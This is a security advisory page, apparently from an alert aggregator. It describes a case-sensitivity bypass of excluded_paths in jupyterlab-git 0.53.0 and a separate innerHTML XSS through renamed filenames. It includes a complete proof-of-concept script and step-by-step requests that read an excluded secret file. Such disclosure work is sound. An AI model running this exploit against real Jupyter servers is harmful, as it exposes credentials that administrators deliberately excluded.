Where
-Infinity
0
Severity
7.1
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

Summary

jupyterlab-git 0.53.0 (latest, 2026-04-30) uses fnmatch.fnmatchcase() in GitHandler.prepare() (jupyterlabgit/handlers.py:91) to enforce the admin-configured excludedpaths security control. Because fnmatchcase is unconditionally case-sensitive, an authenticated user on a case-insensitive filesystem (macOS APFS, Windows NTFS) can bypass the exclusion by varying the case of the URL path segment — e.g. requesting /git/project/Secrets/... instead of /git/project/secrets/... — gaining read access to git history, file content, and status in directories the administrator explicitly excluded.

Vulnerable Code

python jupyterlabgit/handlers.py:84-92 async def prepare(self): """Check if the path should be skipped""" await ensureasync(super().prepare()) path = self.pathkwargs.get("path") if path is not None: excludedpaths = self.git.excludedpaths for excludedpath in excludedpaths: if fnmatch.fnmatchcase(path, excludedpath): # ← always case-sensitive raise tornado.web.HTTPError(404)

Root Cause

fnmatch.fnmatchcase() is unconditionally case-sensitive regardless of the operating system. Contrast with fnmatch.fnmatch() which normalizes via os.path.normcase() on case-insensitive platforms.

python fnmatch.fnmatchcase("/project/secrets", "/project/secrets") # True — blocked fnmatch.fnmatchcase("/project/Secrets", "/project/secrets") # False — bypasses check

On macOS APFS and Windows NTFS, /project/Secrets and /project/secrets resolve to the same directory on disk. The exclusion check rejects only the exact-case match, but the downstream url2localpath() resolves the case-varied path to the same filesystem location.

Impact

An authenticated JupyterLab user with access to the affected Jupyter server can bypass admin-configured excludedpaths by varying the case of the URL path segment. This grants:

- Read file content at any git ref (/content endpoint) - Read working tree files in the excluded directory - View git status, log, diff on the excluded path - Enumerate commits touching excluded files

Attack Scenario

1. Admin configures c.JupyterLabGit.excludedpaths = ["/project/secrets", "/project/secrets/"] 2. Normal request POST /git/project/secrets/status → HTTP 404 (blocked) 3. Attacker requests POST /git/project/Secrets/status → HTTP 200 (bypass) 4. Attacker reads secret: POST /git/project/Secrets/content with {"filename": "./cred.txt", "reference": {"git": "HEAD"}} → file content returned

Exploit

See poc.py. Starts a real jupyter-server with jupyterlab-git loaded, configures excludedpaths, and demonstrates bypass + exfiltration via HTTP. python import json, os, shutil, subprocess, sys, tempfile, time import urllib.request, urllib.error

from jupyterlabgit.handlers import GitHandler # real import, no mock from jupyterlabgitcore.git import Git import jupyterlabgitcore

PORT = 18895 TOKEN = "xtoken" BASEURL = f"http://127.0.0.1:{PORT}" SECRET = "sk-PROD-a8f2x9q-LIVE-KEY"

def post(pathseg, endpoint, body=None): url = f"{BASEURL}/git/{pathseg}{endpoint}" data = json.dumps(body or {}).encode() req = urllib.request.Request(url, data=data, method="POST", headers={"Authorization": f"token {TOKEN}", "Content-Type": "application/json"}) try: resp = urllib.request.urlopen(req, timeout=10) return resp.status, json.loads(resp.read()) except urllib.error.HTTPError as e: return e.code, e.read().decode()

def main(): basedir = tempfile.mkdtemp(prefix="jlgit") workspace = os.path.join(basedir, "workspace") repodir = os.path.join(workspace, "project") secretdir = os.path.join(repodir, "secrets") os.makedirs(secretdir)

with open(os.path.join(secretdir, "cred.txt"), "w") as f: f.write(SECRET + "\n")

gitenv = {os.environ, "GITAUTHORNAME": "a", "GITAUTHOREMAIL": "a@x", "GITCOMMITTERNAME": "a", "GITCOMMITTEREMAIL": "a@x"} subprocess.run(["git", "init"], cwd=repodir, captureoutput=True, check=True) subprocess.run(["git", "add", "."], cwd=repodir, captureoutput=True, check=True) subprocess.run(["git", "commit", "-m", "init"], cwd=repodir, captureoutput=True, check=True, env=gitenv)

configpath = os.path.join(basedir, "jupyterserverconfig.py") with open(configpath, "w") as f: f.write(f'c.ServerApp.rootdir = "{workspace}"\n') f.write(f'c.ServerApp.token = "{TOKEN}"\n') f.write(f'c.ServerApp.openbrowser = False\n') f.write(f'c.ServerApp.port = {PORT}\n') f.write(f'c.ServerApp.ip = "127.0.0.1"\n') f.write(f'c.ServerApp.disablecheckxsrf = True\n') f.write(f'c.JupyterLabGit.excludedpaths = ["/project/secrets", "/project/secrets/"]\n')

env = os.environ.copy() env["JUPYTERCONFIGDIR"] = basedir env["JUPYTERDATADIR"] = basedir proc = subprocess.Popen( [sys.executable, "-m", "jupyterserver", f"--config={configpath}", "--ServerApp.jpserverextensions={'jupyterlabgit': True}"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, env=env, cwd=basedir)

for in range(30): try: req = urllib.request.Request(f"{BASEURL}/api/status", headers={"Authorization": f"token {TOKEN}"}) if urllib.request.urlopen(req, timeout=2).status == 200: break except (urllib.error.URLError, OSError): pass time.sleep(0.5) else: proc.kill() shutil.rmtree(basedir, ignoreerrors=True) sys.exit("server failed to start")

try: # exclusion works code, = post("project/secrets", "/status") blocked = code == 404

# bypass code, = post("project/Secrets", "/status") bypassed = code == 200

# exfiltrate code, body = post("project/Secrets", "/content", {"filename": "./cred.txt", "reference": {"git": "HEAD"}}) content = body.get("content", "") if isinstance(body, dict) else "" exfiltrated = SECRET in content

ok = blocked and bypassed and exfiltrated print(f"exclusion enforced (lowercase): {blocked}") print(f"bypass (case-varied): {bypassed}") print(f"secret exfiltrated: {exfiltrated}") print(f"result: {'VULNERABLE' if ok else 'NOT CONFIRMED'}") return ok

finally: proc.terminate() proc.wait(timeout=5) shutil.rmtree(basedir, ignoreerrors=True)

if name == "main": sys.exit(0 if main() else 1)

bash pip install 'jupyterlab-git==0.53.0' python poc.py <img width="686" height="146" alt="image" src="https://github.com/user-attachments/assets/f5b8d349-539a-44d7-9b17-d13b5f802625" />

Fix

python if fnmatch.fnmatch(path.lower(), excludedpath.lower()): raise tornado.web.HTTPError(404)

Or apply os.path.normcase() to both operands before comparison.

1 / 2
Source: GitHub
First published (updated )
Severity
9.3
XSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

JupyterLab Git is a Git extension for JupyterLab. From 0.30.0b3 before 0.54.0, the PlainTextDiff.ts createHeader() method passes Git filenames directly to innerHTML when rendering renamed files in commit history, allowing a crafted filename to execute JavaScript when a victim views the rename diff in the Git History tab. This issue is fixed in version 0.54.0.

1 / 2
Source: MITRE
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203